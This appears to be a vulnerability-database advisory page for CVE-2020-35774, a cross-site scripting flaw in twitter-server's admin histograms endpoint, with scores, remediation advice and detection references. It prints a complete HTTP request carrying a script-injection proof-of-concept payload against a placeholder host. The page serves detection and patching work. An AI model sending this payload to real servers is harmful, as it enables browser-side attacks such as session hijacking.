🔙 목록으로 돌아가기

CVE-2020-35774: twitter-server Cross-Site Scripting

Titletwitter-server Cross-Site Scripting
Authorpikpikcu
SeverityMedium
ImpactSuccessful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of the victim's browser, potentially leading to session hijacking, data theft, or defacement.
RemediationApply the latest security patches or updates provided by Twitter to mitigate the XSS vulnerability.
CVSS Score5.4
EPSS Score0.81158
CVE IDCVE-2020-35774
CWE IDCWE-79
Tags cve2020 cve xss twitter-server twitter vuln

🔍 Vulnerability Description

twitter-server before 20.12.0 is vulnerable to cross-site scripting in some configurations. The vulnerability exists in the administration panel of twitter-server in the histograms component via server/handler/HistogramQueryHandler.scala.

🌐 HTTP Request

GET /admin/histograms?h=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&fmt=plot_cdf&log_scale=true HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:109.0) Gecko/20100101 Firefox/112.0
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2020/CVE-2020-35774.yaml

🦈 Packet Capture: ⬇️ Download cve-2020-35774.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A